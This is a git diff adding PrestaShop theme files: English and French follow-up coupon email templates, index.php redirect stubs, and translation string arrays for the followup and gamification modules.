        {shop_name}
         
        Hi {firstname} {lastname},
         
        Thank you for your order at {shop_name}
         
        As our way of saying thanks, we want to give you a discount of {amount}% off your next order! This offer is valid for {days} days, so do not waste a moment!

         
        Here is your coupon: {voucher_num}

        Enter this code in your shopping cart to get your discount.
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/followup/mails/en/followup_2.txt b/themes/default/modules/followup/mails/en/followup_2.txt new file mode 100755 index 0000000..7a10fff --- /dev/null +++ b/themes/default/modules/followup/mails/en/followup_2.txt @@ -0,0 +1,9 @@ +Hello {firstname} {lastname}, + +Thank you for your order at {shop_name} + +As our way of saying thanks, we want to give you a discount of {amount}% off your next order! This offer is valid for {days} days, so do not waste a moment! + +Here is your coupon: {voucher_num} + +Enter this code in your shopping cart to get your discount. \ No newline at end of file diff --git a/themes/default/modules/followup/mails/en/followup_3.html b/themes/default/modules/followup/mails/en/followup_3.html new file mode 100755 index 0000000..5f56ad2 --- /dev/null +++ b/themes/default/modules/followup/mails/en/followup_3.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi {firstname} {lastname},
         
        Thanks for your trust
         
        You are one of our best customers and as such we want to thank you for your continued patronage.

        As appreciation for your loyalty, we want to give you a discount of {amount}% valid on your next order! This offer is valid for {days} days, so do not waste a moment!
         
        Here is your coupon: {voucher_num}

        Enter this code in your shopping cart to get your discount.
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/followup/mails/en/followup_3.txt b/themes/default/modules/followup/mails/en/followup_3.txt new file mode 100755 index 0000000..b41d917 --- /dev/null +++ b/themes/default/modules/followup/mails/en/followup_3.txt @@ -0,0 +1,9 @@ +Hello {firstname} {lastname}, + +You are one of our best customers and as such we want to thank you for your continued patronage. + +As appreciation for your loyalty, we want to give you a discount of {amount}% valid on your next order! This offer is valid for {days} days, so do not waste a moment! + +Here is your coupon: {voucher_num} + +Enter this code in your shopping cart to get your discount. \ No newline at end of file diff --git a/themes/default/modules/followup/mails/en/followup_4.html b/themes/default/modules/followup/mails/en/followup_4.html new file mode 100755 index 0000000..ca3c66d --- /dev/null +++ b/themes/default/modules/followup/mails/en/followup_4.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi {firstname} {lastname},
         
        Your cart at {shop_name}
         
        You are one of our best customers, however you have not placed an order in {days_threshold} days.

        We wish to thank you for the trust you have placed in us and want to give you a discount of {amount}% valid on your next order! This offer is valid for {days} days, so do not waste a moment!
         
        Here is your coupon: {voucher_num}

        Enter this code in your shopping cart to get your discount.
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/followup/mails/en/followup_4.txt b/themes/default/modules/followup/mails/en/followup_4.txt new file mode 100755 index 0000000..7aa2c4b --- /dev/null +++ b/themes/default/modules/followup/mails/en/followup_4.txt @@ -0,0 +1,11 @@ +We miss you at {shop_name} + +Hello {firstname} {lastname}, + +You are one of our best customers, however you have not placed an order in {days_threshold} days. + +We wish to thank you for the trust you have placed in us and want to give you a discount of {amount}% valid on your next order! This offer is valid for {days} days, so do not waste a moment! + +Here is your coupon: {voucher_num} + +Enter this code in your shopping cart to get your discount. \ No newline at end of file diff --git a/themes/default/modules/followup/mails/en/index.php b/themes/default/modules/followup/mails/en/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/modules/followup/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/followup/mails/fr/followup_1.html b/themes/default/modules/followup/mails/fr/followup_1.html new file mode 100755 index 0000000..f73b1a1 --- /dev/null +++ b/themes/default/modules/followup/mails/fr/followup_1.html @@ -0,0 +1,46 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Bonjour {firstname} {lastname},
         
        Votre panier chez {shop_name}
         
        Nous avons remarqué que lors de votre dernier passage chez {shop_name}, vous n'avez pas validé la commande que vous aviez entamée.

        Vous panier a été conservé, vous pouvez reprendre votre commande en vous rendant sur notre boutique :

        {shop_url}

        A titre exceptionnel, nous vous accordons également une remise de {amount}% sur votre commande ! Cette offre est valable {days} jours, ne perdez plus un instant !
         
        Voici votre bon de réduction : {voucher_num}

        Saisissez ce code dans votre panier afin d'obtenir votre réduction.
         
        {shop_name} réalisé avec PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/followup/mails/fr/followup_1.txt b/themes/default/modules/followup/mails/fr/followup_1.txt new file mode 100755 index 0000000..df5056c --- /dev/null +++ b/themes/default/modules/followup/mails/fr/followup_1.txt @@ -0,0 +1,13 @@ +Bonjour {firstname} {lastname}, + +Nous avons remarqué que lors de votre dernier passage chez {shop_name}, vous n'avez pas validé la commande que vous aviez entamée. + +Vous panier a été conservé, vous pouvez reprendre votre commande en vous rendant sur notre boutique : + +{shop_url} + +A titre exceptionnel, nous vous accordons également une remise de {amount}% sur votre commande ! Cette offre est valable {days} jours, ne perdez plus un instant ! + +Voici votre bon de réduction: {voucher_num} + +Saisissez ce code dans votre panier afin d'obtenir votre réduction. \ No newline at end of file diff --git a/themes/default/modules/followup/mails/fr/followup_2.html b/themes/default/modules/followup/mails/fr/followup_2.html new file mode 100755 index 0000000..3258713 --- /dev/null +++ b/themes/default/modules/followup/mails/fr/followup_2.html @@ -0,0 +1,46 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Bonjour {firstname} {lastname},
         
        Merci pour votre commande chez {shop_name}
         
        Merci pour votre commande, à titre exceptionnel, nous vous accordons une remise de {amount}% sur votre prochaine commande ! Cette offre est valable {days} jours, ne perdez plus un instant !
         
        Voici votre bon de réduction : {voucher_num}

        Saisissez ce code dans votre panier afin d'obtenir votre réduction.
         
        {shop_name} réalisé avec PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/followup/mails/fr/followup_2.txt b/themes/default/modules/followup/mails/fr/followup_2.txt new file mode 100755 index 0000000..50c3d3c --- /dev/null +++ b/themes/default/modules/followup/mails/fr/followup_2.txt @@ -0,0 +1,9 @@ +Bonjour {firstname} {lastname}, + +Merci pour votre commande chez {shop_name} + +Merci pour votre commande, ? titre exceptionnel, nous vous accordons une remise de {amount}% sur votre prochaine commande ! Cette offre est valable {days} jours, ne perdez plus un instant ! + +Voici votre bon de réduction : {voucher_num} + +Saisissez ce code dans votre panier afin d'obtenir votre réduction. \ No newline at end of file diff --git a/themes/default/modules/followup/mails/fr/followup_3.html b/themes/default/modules/followup/mails/fr/followup_3.html new file mode 100755 index 0000000..b51cbce --- /dev/null +++ b/themes/default/modules/followup/mails/fr/followup_3.html @@ -0,0 +1,46 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Bonjour {firstname} {lastname},
         
        {shop_name} vous remercie pour votre confiance
         
        Vous faites partie de nos meilleurs clients et à ce titre, nous souhaitons vous remercier pour la confiance dont vous nous faites part.

        A titre exceptionnel, nous vous accordons une remise de {amount}% valable sur votre prochaine commande ! Cette offre est valable {days} jours, ne perdez plus un instant !
         
        Voici votre bon de réduction : {voucher_num}

        Saisissez ce code dans votre panier afin d'obtenir votre réduction.
         
        {shop_name} réalisé avec PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/followup/mails/fr/followup_3.txt b/themes/default/modules/followup/mails/fr/followup_3.txt new file mode 100755 index 0000000..57706b9 --- /dev/null +++ b/themes/default/modules/followup/mails/fr/followup_3.txt @@ -0,0 +1,9 @@ +Bonjour {firstname} {lastname}, + +Vous faites partie de nos meilleurs clients et à ce titre, nous souhaitons vous remercier pour la confiance dont vous nous faites part. + +A titre exceptionnel, nous vous accordons une remise de {amount}% valable sur votre prochaine commande ! Cette offre est valable {days} jours, ne perdez plus un instant ! + +Voici votre bon de réduction : {voucher_num} + +Saisissez ce code dans votre panier afin d'obtenir votre réduction. \ No newline at end of file diff --git a/themes/default/modules/followup/mails/fr/followup_4.html b/themes/default/modules/followup/mails/fr/followup_4.html new file mode 100755 index 0000000..3e734c5 --- /dev/null +++ b/themes/default/modules/followup/mails/fr/followup_4.html @@ -0,0 +1,46 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Bonjour {firstname} {lastname},
         
        Vous nous manquez chez {shop_name}
         
        Vous faites partie de nos meilleurs clients cependant vous n'avez pas passé de commande depuis {days_threshold} jours.

        Nous souhaitons vous remercier pour la confiance dont vous nous faites part et à ce titre, nous vous accordons une remise de {amount}% valable sur votre prochaine commande ! Cette offre est valable {days} jours, ne perdez plus un instant !
         
        Voici votre bon de réduction : {voucher_num}

        Saisissez ce code dans votre panier afin d'obtenir votre réduction.
         
        {shop_name} réalisé avec PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/followup/mails/fr/followup_4.txt b/themes/default/modules/followup/mails/fr/followup_4.txt new file mode 100755 index 0000000..6125a5f --- /dev/null +++ b/themes/default/modules/followup/mails/fr/followup_4.txt @@ -0,0 +1,9 @@ +Bonjour {firstname} {lastname}, + +Vous faites partie de nos meilleurs clients cependant vous n'avez pas pass? de commande depuis {days_threshold} jours. + +Nous souhaitons vous remercier pour la confiance dont vous nous faites part et ? ce titre, nous vous accordons une remise de {amount}% valable sur votre prochaine commande ! Cette offre est valable {days} jours, ne perdez plus un instant ! + +Voici votre bon de réduction : {voucher_num} + +Saisissez ce code dans votre panier afin d'obtenir votre réduction. \ No newline at end of file diff --git a/themes/default/modules/followup/mails/index.php b/themes/default/modules/followup/mails/index.php new file mode 100755 index 0000000..6f5ff3b --- /dev/null +++ b/themes/default/modules/followup/mails/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/followup/translations/en.php b/themes/default/modules/followup/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/followup/translations/fr.php b/themes/default/modules/followup/translations/fr.php new file mode 100755 index 0000000..058b76c --- /dev/null +++ b/themes/default/modules/followup/translations/fr.php @@ -0,0 +1,43 @@ +followup_9c34e90380dac7b56fdd19192a99d531'] = 'Relancez vos clients'; +$_MODULE['<{followup}default>followup_57476355fcd04050bff196ae9aa4673c'] = 'Relancez vos clients grâce à des envoi d\'e-mails quotidiens'; +$_MODULE['<{followup}default>followup_f71a41841c80c2ef0ec02a6ad5449c65'] = 'Etes-vous sûr de vouloir supprimer vos paramètres ainsi que vos statistiques liées aux relances ?'; +$_MODULE['<{followup}default>followup_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{followup}default>followup_599fac49ffe947cd0f9e934e6af89879'] = 'Quatre types de relances afin de rester en contact avec vos clients !'; +$_MODULE['<{followup}default>followup_8b1aa589b33a54906ae78f5820eab42c'] = 'Effectuez vos réglages et ajoutez cette URL à votre crontab ou appelez-la manuellement chaque jour :'; +$_MODULE['<{followup}default>followup_b547c073d144a57761d1d00d0b9d9f27'] = 'Paniers annulés'; +$_MODULE['<{followup}default>followup_ea9dc62a0ddf4640f019f04a22ab9835'] = 'Pour chaque panier abandonné (sans commande), génère un bon d\'achat et l\'envoi au client'; +$_MODULE['<{followup}default>followup_2faec1f9f8cc7f8f40d521c4dd574f49'] = 'Activé'; +$_MODULE['<{followup}default>followup_b30690be173bcd4a83df0cd68f89a385'] = 'Montant de la remise'; +$_MODULE['<{followup}default>followup_2018945d252b94aeb99b0909f288717c'] = 'Durée de validité'; +$_MODULE['<{followup}default>followup_225e75c29d32392d311f5dc94c792384'] = 'jour(s)'; +$_MODULE['<{followup}default>followup_dcc0220e44b6d9be3d709d5c2cd34917'] = 'Le prochain envoi transmettra : %d e-mails'; +$_MODULE['<{followup}default>followup_3ae92a92fa710dca82e5b6667da30b7b'] = 'Le prochain envoi transmettra : %d e-mail'; +$_MODULE['<{followup}default>followup_a8b8dbd070a92fb8b17baab71d8d633f'] = 'Re-commander'; +$_MODULE['<{followup}default>followup_895858cf10b8a1750a42875cb9c69092'] = 'Pour chaque commande validée, génère un bon d\'achat et l\'envoi au client'; +$_MODULE['<{followup}default>followup_8b83489bd116cb60e2f348e9c63cd7f6'] = 'Meilleurs clients'; +$_MODULE['<{followup}default>followup_a46ad892f7f00e051cc90050ff2e1ddf'] = 'Pour chaque client dont le total des commandes atteind un certain seuil, génère un bon d\'achat et l\'envoi au client'; +$_MODULE['<{followup}default>followup_2a63f555989152ba866b43a1faacd680'] = 'Seuil'; +$_MODULE['<{followup}default>followup_7d75b7b0f976b3091f490864c6ffbf97'] = 'Mauvais clients'; +$_MODULE['<{followup}default>followup_e552313de5ebebdafa8bfa0dcc703e19'] = 'Pour chaque client ayant déjà passé commande au moins une fois et sans commande depuis une certaine durée, génère un bon d\'achat et l\'envoi au client'; +$_MODULE['<{followup}default>followup_d82843c16839bfb05827d1912d89c917'] = 'Depuis x jours'; +$_MODULE['<{followup}default>followup_3fb7b0bbf0c95bba3ed2ba0b147ca588'] = 'Supprimer les bons d\'achat dont la date d\'expiration est dépassée afin de nettoyer la base de données'; +$_MODULE['<{followup}default>followup_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{followup}default>followup_c33e404a441c6ba9648f88af3c68a1ca'] = 'Statistiques'; +$_MODULE['<{followup}default>followup_1deaabda093f617a57f732c07e635fac'] = 'Statistiques détaillées sur les 30 derniers jours :'; +$_MODULE['<{followup}default>followup_f23b0eec6c25c49afa4b29c57e671728'] = 'E = Nombre d\'e-mails envoyés'; +$_MODULE['<{followup}default>followup_fde0b9a66bffdd6ee0886613e8031d9a'] = 'U = Nombre de bons d\'achat utilisés (commandes valides uniquement)'; +$_MODULE['<{followup}default>followup_cceb59e78d00c10436ff5e777dd5d895'] = '% = Taux de transformation'; +$_MODULE['<{followup}default>followup_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{followup}default>followup_5e53dfa887dfb989f0bc3e9fb9b34a2d'] = 'Meilleurs clients'; +$_MODULE['<{followup}default>followup_66ff4e89c767ab0a4e5ddc0251a101bc'] = 'Mauvais clients'; +$_MODULE['<{followup}default>followup_5dbc98dcc983a70728bd082d1a47546e'] = 'E'; +$_MODULE['<{followup}default>followup_4c614360da93c0a041b22e537de151eb'] = 'U'; +$_MODULE['<{followup}default>followup_85b6769250887ba6c16099596c75164d'] = 'Aucune donnée enregistrée pour l\'instant'; +$_MODULE['<{followup}default>followup_edf9feeab43a7623f6afc152d1ede515'] = 'Bon de réduction pour votre panier abandonné'; +$_MODULE['<{followup}default>followup_a053fc9952a7dfc79282eba56ab8ad3a'] = 'Merci pour votre commande'; +$_MODULE['<{followup}default>followup_7fcd592dd47028c7c1f2d0ce9168a303'] = 'Vous êtes l\'un de nos meilleurs clients'; +$_MODULE['<{followup}default>followup_c2ab23672d4bb31c7664bf8e854a10f7'] = 'Vous nous manquez'; diff --git a/themes/default/modules/followup/translations/index.php b/themes/default/modules/followup/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/modules/followup/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/followup2/translations/en.php b/themes/default/modules/followup2/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/followup2/translations/fr.php b/themes/default/modules/followup2/translations/fr.php new file mode 100755 index 0000000..058b76c --- /dev/null +++ b/themes/default/modules/followup2/translations/fr.php @@ -0,0 +1,43 @@ +followup_9c34e90380dac7b56fdd19192a99d531'] = 'Relancez vos clients'; +$_MODULE['<{followup}default>followup_57476355fcd04050bff196ae9aa4673c'] = 'Relancez vos clients grâce à des envoi d\'e-mails quotidiens'; +$_MODULE['<{followup}default>followup_f71a41841c80c2ef0ec02a6ad5449c65'] = 'Etes-vous sûr de vouloir supprimer vos paramètres ainsi que vos statistiques liées aux relances ?'; +$_MODULE['<{followup}default>followup_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{followup}default>followup_599fac49ffe947cd0f9e934e6af89879'] = 'Quatre types de relances afin de rester en contact avec vos clients !'; +$_MODULE['<{followup}default>followup_8b1aa589b33a54906ae78f5820eab42c'] = 'Effectuez vos réglages et ajoutez cette URL à votre crontab ou appelez-la manuellement chaque jour :'; +$_MODULE['<{followup}default>followup_b547c073d144a57761d1d00d0b9d9f27'] = 'Paniers annulés'; +$_MODULE['<{followup}default>followup_ea9dc62a0ddf4640f019f04a22ab9835'] = 'Pour chaque panier abandonné (sans commande), génère un bon d\'achat et l\'envoi au client'; +$_MODULE['<{followup}default>followup_2faec1f9f8cc7f8f40d521c4dd574f49'] = 'Activé'; +$_MODULE['<{followup}default>followup_b30690be173bcd4a83df0cd68f89a385'] = 'Montant de la remise'; +$_MODULE['<{followup}default>followup_2018945d252b94aeb99b0909f288717c'] = 'Durée de validité'; +$_MODULE['<{followup}default>followup_225e75c29d32392d311f5dc94c792384'] = 'jour(s)'; +$_MODULE['<{followup}default>followup_dcc0220e44b6d9be3d709d5c2cd34917'] = 'Le prochain envoi transmettra : %d e-mails'; +$_MODULE['<{followup}default>followup_3ae92a92fa710dca82e5b6667da30b7b'] = 'Le prochain envoi transmettra : %d e-mail'; +$_MODULE['<{followup}default>followup_a8b8dbd070a92fb8b17baab71d8d633f'] = 'Re-commander'; +$_MODULE['<{followup}default>followup_895858cf10b8a1750a42875cb9c69092'] = 'Pour chaque commande validée, génère un bon d\'achat et l\'envoi au client'; +$_MODULE['<{followup}default>followup_8b83489bd116cb60e2f348e9c63cd7f6'] = 'Meilleurs clients'; +$_MODULE['<{followup}default>followup_a46ad892f7f00e051cc90050ff2e1ddf'] = 'Pour chaque client dont le total des commandes atteind un certain seuil, génère un bon d\'achat et l\'envoi au client'; +$_MODULE['<{followup}default>followup_2a63f555989152ba866b43a1faacd680'] = 'Seuil'; +$_MODULE['<{followup}default>followup_7d75b7b0f976b3091f490864c6ffbf97'] = 'Mauvais clients'; +$_MODULE['<{followup}default>followup_e552313de5ebebdafa8bfa0dcc703e19'] = 'Pour chaque client ayant déjà passé commande au moins une fois et sans commande depuis une certaine durée, génère un bon d\'achat et l\'envoi au client'; +$_MODULE['<{followup}default>followup_d82843c16839bfb05827d1912d89c917'] = 'Depuis x jours'; +$_MODULE['<{followup}default>followup_3fb7b0bbf0c95bba3ed2ba0b147ca588'] = 'Supprimer les bons d\'achat dont la date d\'expiration est dépassée afin de nettoyer la base de données'; +$_MODULE['<{followup}default>followup_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{followup}default>followup_c33e404a441c6ba9648f88af3c68a1ca'] = 'Statistiques'; +$_MODULE['<{followup}default>followup_1deaabda093f617a57f732c07e635fac'] = 'Statistiques détaillées sur les 30 derniers jours :'; +$_MODULE['<{followup}default>followup_f23b0eec6c25c49afa4b29c57e671728'] = 'E = Nombre d\'e-mails envoyés'; +$_MODULE['<{followup}default>followup_fde0b9a66bffdd6ee0886613e8031d9a'] = 'U = Nombre de bons d\'achat utilisés (commandes valides uniquement)'; +$_MODULE['<{followup}default>followup_cceb59e78d00c10436ff5e777dd5d895'] = '% = Taux de transformation'; +$_MODULE['<{followup}default>followup_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{followup}default>followup_5e53dfa887dfb989f0bc3e9fb9b34a2d'] = 'Meilleurs clients'; +$_MODULE['<{followup}default>followup_66ff4e89c767ab0a4e5ddc0251a101bc'] = 'Mauvais clients'; +$_MODULE['<{followup}default>followup_5dbc98dcc983a70728bd082d1a47546e'] = 'E'; +$_MODULE['<{followup}default>followup_4c614360da93c0a041b22e537de151eb'] = 'U'; +$_MODULE['<{followup}default>followup_85b6769250887ba6c16099596c75164d'] = 'Aucune donnée enregistrée pour l\'instant'; +$_MODULE['<{followup}default>followup_edf9feeab43a7623f6afc152d1ede515'] = 'Bon de réduction pour votre panier abandonné'; +$_MODULE['<{followup}default>followup_a053fc9952a7dfc79282eba56ab8ad3a'] = 'Merci pour votre commande'; +$_MODULE['<{followup}default>followup_7fcd592dd47028c7c1f2d0ce9168a303'] = 'Vous êtes l\'un de nos meilleurs clients'; +$_MODULE['<{followup}default>followup_c2ab23672d4bb31c7664bf8e854a10f7'] = 'Vous nous manquez'; diff --git a/themes/default/modules/gamification/translations/en.php b/themes/default/modules/gamification/translations/en.php new file mode 100755 index 0000000..0757e84 --- /dev/null +++ b/themes/default/modules/gamification/translations/en.php @@ -0,0 +1,40 @@ +gamification_3d4aafb2eedeba2fbf92e852f0af745a'] = 'Expertise PrestaShop'; +$_MODULE['<{gamification}default>gamification_bacc1bf300527bad9c6ac2d3b875a8d8'] = 'Devenez un marchand accompli à pas de géant !'; +$_MODULE['<{gamification}default>admingamificationcontroller_ca96b4f8d13722aac99da25f94ea1711'] = 'Votre Expertise PrestaShop'; +$_MODULE['<{gamification}default>admingamificationcontroller_98f770b0af18ca763421bac22b4b6805'] = 'Fonctionnalités'; +$_MODULE['<{gamification}default>admingamificationcontroller_f5c7922da355fd289ec1d6469e0583a7'] = 'Succès'; +$_MODULE['<{gamification}default>admingamificationcontroller_8189ecf686157db0c0274c1f49373318'] = 'International'; +$_MODULE['<{gamification}default>admingamificationcontroller_851f12a0c936baace7f0e734d5c624e7'] = '1. Débutant'; +$_MODULE['<{gamification}default>admingamificationcontroller_583981a16ea761fe852b64094d8a887e'] = '2. Pro'; +$_MODULE['<{gamification}default>admingamificationcontroller_38f7af7416ffcd1524d8a4acda756cbf'] = '3. Expert'; +$_MODULE['<{gamification}default>admingamificationcontroller_e7613fe56cdbeddfc9bb6276fd0f0d12'] = '4. Maître'; +$_MODULE['<{gamification}default>admingamificationcontroller_8d03eaad7ff7babdd33c2c74fe479ed0'] = '5. Gourou'; +$_MODULE['<{gamification}default>admingamificationcontroller_e4be4f3e3ae4ee9dda6b60815bf774c1'] = '6. Légende'; +$_MODULE['<{gamification}default>filters_e659b52eba1f0299b2d8ca3483919e72'] = 'Type :'; +$_MODULE['<{gamification}default>filters_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Tous'; +$_MODULE['<{gamification}default>filters_18325105de95083e4a1d10b78f29c2bc'] = 'Etat :'; +$_MODULE['<{gamification}default>filters_5364259abab90e94890f2ed2481b9824'] = 'Validé'; +$_MODULE['<{gamification}default>filters_dc450ba947e6adecbdbe68c25de03a1b'] = 'Non validé'; +$_MODULE['<{gamification}default>filters_07ad815187b53dc2ceaf5ad6e0a12bb1'] = 'Niveau :'; +$_MODULE['<{gamification}default>view_a0db49ba470c1c9ae2128c3470339153'] = 'Niveau'; +$_MODULE['<{gamification}default>view_2a0ab6a9172272d54f0d601b0ac157f3'] = 'Devenez un marchand accompli à pas de géant !'; +$_MODULE['<{gamification}default>view_cb3d475bd997e38c100704631dbab020'] = 'L\'équipe PrestaShop vous accompagne dans votre aventure e-commerce : au fil des progrès réalisés dans la conception et l\'administration de votre boutique en ligne, nous vous décernons des badges symbolisant votre niveau d\'expertise.'; +$_MODULE['<{gamification}default>view_2c3193c85bb2555c333adfcfb824804a'] = 'A chaque badge décerné, vous gagnez des points et nous vous présentons la prochaine action à réaliser selon votre activité. Vous êtes ainsi guidé(e) vers une boutique parfaitement configurée et optimisée pour votre succès !'; +$_MODULE['<{gamification}default>view_6b766dc388ad21053bde0f8fd95d1e04'] = 'Nous avons défini 3 thèmes essentiels pour évaluer le niveau de développement de votre boutique : les fonctionnalités clés à configurer, vos performances commerciales et votre visibilité à l\'international.'; +$_MODULE['<{gamification}default>view_21dc1cfc9ef1cdfbb665cab323d5e1a9'] = 'A vous de jouer !'; +$_MODULE['<{gamification}default>view_8ba134cf899d862079bbf3964bc7d7d4'] = 'Notre équipe est à votre disposition pour vous aider à progresser... Contactez-nous !'; +$_MODULE['<{gamification}default>view_bcc254b55c4a1babdf1dcb82c207506b'] = 'Téléphone'; +$_MODULE['<{gamification}default>view_b39131f9b4f81406be4f9cca784f99c8'] = 'Par téléphone : +33 (0)1 40 18 30 04'; +$_MODULE['<{gamification}default>view_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'Email'; +$_MODULE['<{gamification}default>view_119c7e70192829bf606e3774254c6167'] = 'Par email'; +$_MODULE['<{gamification}default>view_6b6ac7834d96afefbca5677814769109'] = 'Progrès'; +$_MODULE['<{gamification}default>view_82338dd23ce2fd2f6d3606c20f4ee96e'] = 'Pas de badge dans cette section'; +$_MODULE['<{gamification}default>notification_a0db49ba470c1c9ae2128c3470339153'] = 'Niveau'; +$_MODULE['<{gamification}default>notification_ca96b4f8d13722aac99da25f94ea1711'] = 'Votre Expertise PrestaShop'; +$_MODULE['<{gamification}default>notification_16a1daea9e8873542aec1e820798aa44'] = 'Dernier badge gagné :'; +$_MODULE['<{gamification}default>notification_15377177c0259c6f79341cc57da13f19'] = 'Prochain badge :'; +$_MODULE['<{gamification}default>notification_f8978f781f97e6f851e9c8f7059c37b2'] = 'Voir mon orofil complet'; diff --git a/themes/default/modules/gamification/translations/fr.php b/themes/default/modules/gamification/translations/fr.php new file mode 100755 index 0000000..0757e84 --- /dev/null +++ b/themes/default/modules/gamification/translations/fr.php @@ -0,0 +1,40 @@ +gamification_3d4aafb2eedeba2fbf92e852f0af745a'] = 'Expertise PrestaShop'; +$_MODULE['<{gamification}default>gamification_bacc1bf300527bad9c6ac2d3b875a8d8'] = 'Devenez un marchand accompli à pas de géant !'; +$_MODULE['<{gamification}default>admingamificationcontroller_ca96b4f8d13722aac99da25f94ea1711'] = 'Votre Expertise PrestaShop'; +$_MODULE['<{gamification}default>admingamificationcontroller_98f770b0af18ca763421bac22b4b6805'] = 'Fonctionnalités'; +$_MODULE['<{gamification}default>admingamificationcontroller_f5c7922da355fd289ec1d6469e0583a7'] = 'Succès'; +$_MODULE['<{gamification}default>admingamificationcontroller_8189ecf686157db0c0274c1f49373318'] = 'International'; +$_MODULE['<{gamification}default>admingamificationcontroller_851f12a0c936baace7f0e734d5c624e7'] = '1. Débutant'; +$_MODULE['<{gamification}default>admingamificationcontroller_583981a16ea761fe852b64094d8a887e'] = '2. Pro'; +$_MODULE['<{gamification}default>admingamificationcontroller_38f7af7416ffcd1524d8a4acda756cbf'] = '3. Expert'; +$_MODULE['<{gamification}default>admingamificationcontroller_e7613fe56cdbeddfc9bb6276fd0f0d12'] = '4. Maître'; +$_MODULE['<{gamification}default>admingamificationcontroller_8d03eaad7ff7babdd33c2c74fe479ed0'] = '5. Gourou'; +$_MODULE['<{gamification}default>admingamificationcontroller_e4be4f3e3ae4ee9dda6b60815bf774c1'] = '6. Légende'; +$_MODULE['<{gamification}default>filters_e659b52eba1f0299b2d8ca3483919e72'] = 'Type :'; +$_MODULE['<{gamification}default>filters_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Tous'; +$_MODULE['<{gamification}default>filters_18325105de95083e4a1d10b78f29c2bc'] = 'Etat :'; +$_MODULE['<{gamification}default>filters_5364259abab90e94890f2ed2481b9824'] = 'Validé'; +$_MODULE['<{gamification}default>filters_dc450ba947e6adecbdbe68c25de03a1b'] = 'Non validé'; +$_MODULE['<{gamification}default>filters_07ad815187b53dc2ceaf5ad6e0a12bb1'] = 'Niveau :'; +$_MODULE['<{gamification}default>view_a0db49ba470c1c9ae2128c3470339153'] = 'Niveau'; +$_MODULE['<{gamification}default>view_2a0ab6a9172272d54f0d601b0ac157f3'] = 'Devenez un marchand accompli à pas de géant !'; +$_MODULE['<{gamification}default>view_cb3d475bd997e38c100704631dbab020'] = 'L\'équipe PrestaShop vous accompagne dans votre aventure e-commerce : au fil des progrès réalisés dans la conception et l\'administration de votre boutique en ligne, nous vous décernons des badges symbolisant votre niveau d\'expertise.'; +$_MODULE['<{gamification}default>view_2c3193c85bb2555c333adfcfb824804a'] = 'A chaque badge décerné, vous gagnez des points et nous vous présentons la prochaine action à réaliser selon votre activité. Vous êtes ainsi guidé(e) vers une boutique parfaitement configurée et optimisée pour votre succès !'; +$_MODULE['<{gamification}default>view_6b766dc388ad21053bde0f8fd95d1e04'] = 'Nous avons 